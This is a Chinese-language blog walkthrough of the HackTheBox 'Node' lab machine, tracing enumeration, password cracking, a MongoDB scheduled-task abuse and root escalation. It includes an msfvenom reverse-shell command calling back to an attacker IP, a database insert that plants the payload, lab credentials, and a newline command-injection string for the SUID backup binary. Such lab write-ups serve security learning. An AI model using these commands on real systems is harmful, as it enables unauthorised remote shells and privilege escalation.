No.118-HackTheBox-Linux-Node-Walkthrough滲透學習

**

HackTheBox-Linux-Node-Walkthrough

**

靶機地址:https://www.hackthebox.eu/home/machines/profile/110
靶機難度:中級(4.3/10)
靶機發布日期:2017年10月24日
靶機描述:
Node focuses mainly on newer software and poor configurations. The machine starts out seemingly easy, but gets progressively harder as more access is gained. In-depth enumeration is required at several steps to be able to progress further into the machine.

作者:大餘
時間:2020-05-28

請注意:對於所有這些計算機,我是通過平臺授權允許情況進行滲透的。我將使用Kali Linux作爲解決該HTB的攻擊者機器。這裏使用的技術僅用於學習教育目的,如果列出的技術用於其他任何目標,我概不負責。

一、信息收集

在這裏插入圖片描述

可以看到靶機的IP是10.10.10.58…
在這裏插入圖片描述
nmap僅發現開放了OpenSSH和Node.js…

在這裏插入圖片描述
訪問web發現存在個登陸界面login…
在這裏插入圖片描述
丟着爆破,剛開始就報斷點錯誤,根據做vulnhub靶機經驗,這是半張笑臉…後面繼續爆破就沒任何目錄信息…
在這裏插入圖片描述
查看前端代碼,很多js文件…都查看了一番
在這裏插入圖片描述
發現存在/api/users/latest信息目錄…
在這裏插入圖片描述
進入去掉latest,獲得了0類的密匙信息…
在這裏插入圖片描述
通過爆破哈希值,獲得了密碼…這裏測試了四個,只有0類可以登陸web…
在這裏插入圖片描述
登陸即可…
在這裏插入圖片描述
進入後download文件…直接下載是無法下載的一直循環下載…
這裏需要開啓本地代理進行下載…
在這裏插入圖片描述
下載完後讀取發現是base64值,解碼後讀取文件類型,可看到是ZIP壓縮文件…
解壓提示需要密碼…
這裏直接利用fcrackzip暴力破解zip類型文件密碼…
在這裏插入圖片描述
成功獲得了密碼…
在這裏插入圖片描述
解壓後,在目錄底層繼續查看了jx文件內容…
發現了兩個信息,mark用戶名密碼和backup_key…
在這裏插入圖片描述
利用mark用戶名密碼成功ssh登陸到靶機…
在這裏插入圖片描述
這裏存在三個用戶mark、frank、tom,直接列舉了tom存在運行的進程…又是app.js
查看發現它訪問了mongodb數據庫,並執行了任務表中放置的所有任務,可看到setInterval函數,該函數可以在cmd值下執行任何操作…
在這裏插入圖片描述
命令:sudo msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.51 LPORT=6666 -f elf -o dayushell.elf
利用MSF製作shell…然後scp上傳…
在這裏插入圖片描述
命令:mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler

use scheduler
show collections
db.tasks.insertOne({cmd:'/tmp/dayushell.elf'})

登錄到mongodb,並使用語法插入要執行的有效負載…
過1分鐘左右獲得了反向外殼…

在這裏插入圖片描述
上傳LinEnum.sh枚舉,枚舉SUID時,發現了backup二進制文件…和app.js內看到的backup_key感覺是相匹配的信息…
在這裏插入圖片描述
將backup下載到本地…
在這裏插入圖片描述
通過IDA查看發現,二進制文件的main函數檢查有3個,如果返回false,它將跳轉到左側的塊以完全退出…
在這裏插入圖片描述
測試給了它3個論點,輸出了內容…
在這裏插入圖片描述
命令:strace ./backup 1 2 3
利用strace調用跟蹤程序走向信息…可以看到程序正在嘗試讀取/etc/myplace/keys中的內容,去看看…
在這裏插入圖片描述
三個密匙…
在這裏插入圖片描述
返回查看backup_key,和前面keys對比,發現第一個密匙憑證一樣的…果然是有關聯的…
在這裏插入圖片描述
命令:ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/a

利用ltrace繼續進行探測…這裏科普下哈:
strace------跟蹤進程的系統調用或信號產生的情況
ltrace-------跟蹤進程調用庫函數的情況
可以看到該目錄使用magicword作爲密碼進行了壓縮,然後該zip文件已進行base64編碼,另外注意到有許多使用strchr()或strstr()的過濾器,這裏可以繞過他們提權…
在這裏插入圖片描述
命令:./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf '\n/bin/sh\necho OK')"
利用$(),printf和換行符的組合來注入命令成功獲得了root權限,並獲得了user_flag和root_flag信息…

這裏backup還可以利用緩衝區溢出,或者我也提示了base64和magicword密碼,可以直接提取root_base64值,然後獲得root_flag…

web信息收集+hash爆破+ZIP爆破+mongodb數據庫分析提權+信息枚舉+backup二進制解析提權

由於我們已經成功得到root權限查看user和root.txt,因此完成這臺中級的靶機,希望你們喜歡這臺機器,請繼續關注大餘後期會有更多具有挑戰性的機器,一起練習學習。

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章